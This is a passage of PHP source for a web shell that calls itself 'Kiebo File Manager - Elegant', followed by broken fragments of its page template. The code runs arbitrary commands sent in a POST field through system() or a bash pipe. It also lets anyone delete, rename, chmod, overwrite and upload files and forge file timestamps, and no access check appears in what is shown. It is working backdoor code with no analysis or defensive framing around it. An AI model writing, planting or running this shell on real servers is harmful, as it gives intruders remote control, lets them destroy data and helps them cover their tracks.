'r',0x0080=>'w',0x0040=>'x',0x0020=>'r',0x0010=>'w',0x0008=>'x',0x0004=>'r',0x0002=>'w',0x0001=>'x']; foreach($x as $b=>$c){ $s .= ($m & $b) ? $c : '-'; } return $s; } function _go(){ header('Location:?_r='.urlencode(_B_)); exit; } if(isset($_GET['_x'])){ $t=_g($_GET['_x']); if(is_file($t)) unlink($t); elseif(is_dir($t)) rmdir($t); _go(); } if(isset($_POST['_rf'],$_POST['_rt'])){ rename(_g($_POST['_rf']),dirname($_POST['_rf']).'/'.$_POST['_rt']); _go(); } if(isset($_POST['_cp'],$_POST['_cm'])){ chmod(_g($_POST['_cp']),intval($_POST['_cm'],8)); _go(); } if(isset($_POST['_ep'],$_POST['_ed'])){ file_put_contents($_POST['_ep'],$_POST['_ed']); $msg="✔ Saved"; } if(!empty($_FILES['_uf'])){ move_uploaded_file($_FILES['_uf']['tmp_name'],_B_.'/'.$_FILES['_uf']['name']); $msg="✔ Uploaded"; } if(isset($_POST['_mkdir'])&&$_POST['_mkdir']){ @mkdir(_B_.'/'.basename($_POST['_mkdir'])); _go(); } if(isset($_POST['_mkfile'])&&$_POST['_mkfile']){ $f=_B_.'/'.basename($_POST['_mkfile']); if(!file_exists($f)) file_put_contents($f,''); _go(); } if(isset($_POST['_tp'],$_POST['_tm'])){ @touch(_g($_POST['_tp']),strtotime($_POST['_tm'])); _go(); } $__=''; if(isset($_POST['_sh'])){ $cmd=$_POST['_sh']; ob_start(); if(stristr(PHP_OS,'WIN')) system($cmd); else{ putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'); $pipes=[]; $process=proc_open("/bin/bash",[["pipe","r"],["pipe","w"],["pipe","w"]],$pipes); if(is_resource($process)){ fwrite($pipes[0],$cmd."\n"); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else echo "❌ Failed to open bash shell."; } $__=ob_get_clean(); } $__dir=$__file=[]; foreach(scandir(_B_) as $_){ if($_=='.')continue; $p=_B_.'/'.$_; is_dir($p)?$__dir[]=$_:$__file[]=$_; } ?> Kiebo File Manager - Elegant
$msg
"; ?>
NameTypeSizePermModifiedActions
📁 DIR-
Delete
📄 FILE B
Delete

Edit: